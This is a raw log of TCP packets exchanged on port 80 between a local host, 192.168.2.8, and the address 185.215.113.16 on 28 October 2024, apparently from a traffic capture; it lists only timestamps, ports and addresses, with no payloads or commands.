Oct 28, 2024 07:18:42.905209064 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.905668020 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.905719995 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.905724049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.905736923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.905771017 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.939855099 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.939908981 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.939973116 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.945976019 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.946053028 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.946063995 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.946126938 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.992683887 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.023616076 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023642063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023682117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023722887 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.023741961 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023797035 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.023808956 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023823023 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023880959 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.023900986 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023912907 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.023958921 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.025074005 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.025118113 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.025129080 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.025176048 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.025202036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.025213003 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.025274992 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.058911085 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.058921099 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.059030056 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.065077066 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.065131903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.065140009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.065145016 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.065156937 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.065222025 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.142525911 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.142540932 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.142553091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.142636061 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.142647982 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.142661095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.142659903 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.142673969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.142708063 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.142752886 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.143488884 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.143507957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.143518925 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.143573999 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.143574953 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.143606901 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.143661022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.143748999 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.178009033 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.178065062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.178077936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.178121090 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.184072018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.184114933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.184128046 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.184134007 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.184143066 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.184185982 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.228533983 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.261445045 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261493921 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261559963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261574984 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261589050 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261617899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.261617899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.261945009 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261959076 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261974096 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.261993885 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.262017012 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.262324095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.262346983 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.262368917 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.262382030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.262397051 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.262445927 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.262928963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.262939930 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.263006926 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.297070026 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.297096014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.297111988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.297261953 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.303154945 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.303169012 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.303181887 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.303195953 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.303210020 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.303260088 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.303260088 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.380752087 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.380805969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.380820036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.380834103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.380891085 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.380891085 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.381056070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381162882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381184101 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381197929 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381211042 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381228924 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.381242990 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.381920099 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381943941 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381954908 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.381975889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.381999969 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.416172981 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.416186094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.416258097 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.422144890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422190905 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422204018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422221899 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422265053 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.422265053 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.422472954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422485113 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422539949 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.422698021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422751904 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422765970 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.422797918 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.477216959 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.499859095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.499883890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.499897957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.499946117 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.499969006 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.499983072 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.499998093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.500010967 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.500025988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.500034094 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.500034094 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.500062943 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.500817060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.500839949 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.500853062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.500866890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.500911951 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.500911951 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.535399914 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.535453081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.535533905 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.541289091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541356087 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541368008 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541382074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541397095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541486979 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.541759968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541773081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541788101 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541800976 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.541819096 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.541836977 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.586457014 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.618684053 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.618714094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.618786097 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.618845940 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.618907928 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.618954897 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.618971109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.619168997 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.619185925 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.619226933 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.619362116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.619383097 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.619398117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.619421005 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.619421959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.619446039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.619992018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.620004892 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.620018959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.620043993 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.620096922 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.660552979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.660579920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.660597086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.660612106 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.660628080 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.660633087 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.660675049 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.660834074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.660846949 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.661020994 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.661053896 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.661067963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.661082983 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.661102057 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.661104918 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.661149979 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.711436033 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.738203049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738240957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738276958 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738305092 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.738313913 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738364935 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738401890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738425970 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.738497019 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.738723040 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738746881 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738761902 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738797903 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.738893032 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738909006 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.738949060 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.739483118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.739551067 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.739617109 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.739687920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.739789009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.779927969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.779970884 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.779983044 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780026913 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.780139923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780209064 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.780241966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780508041 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780524969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780538082 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780549049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780560970 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.780600071 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.780600071 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.857307911 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857364893 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857400894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857435942 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857444048 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.857454062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857465982 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857633114 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.857633114 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.857743979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857767105 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857783079 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.857863903 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.858165026 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.858175993 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.858186007 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.858191967 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.858218908 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.858233929 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.858742952 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.858760118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.858845949 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.898859978 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.898885012 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.898896933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.898909092 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.898922920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899133921 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899147034 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899148941 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.899148941 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.899158955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899282932 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.899552107 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899564028 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899641991 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.899682999 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899697065 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899708033 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.899755955 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.899755955 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.976421118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976438046 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976449966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976527929 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976541042 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976552963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976671934 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.976671934 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.976809978 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.976964951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976977110 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.976989031 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.977056026 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.977305889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.977319002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.977332115 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.977346897 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.977370977 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.977400064 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:43.977905035 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.977916002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:43.977957010 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.017951965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018014908 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018028021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018029928 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.018040895 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018054008 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018229961 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.018229961 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.018532038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018544912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018556118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018609047 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.018615961 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018630028 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018655062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018666983 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.018673897 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.018731117 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.019193888 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.019212008 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.019248009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.070923090 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.095797062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.095808983 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.095818996 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.095885038 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.096060038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.096071959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.096081972 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.096129894 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.096160889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.096297026 CET	80	49717	185.215.113.16	192.168.2.8
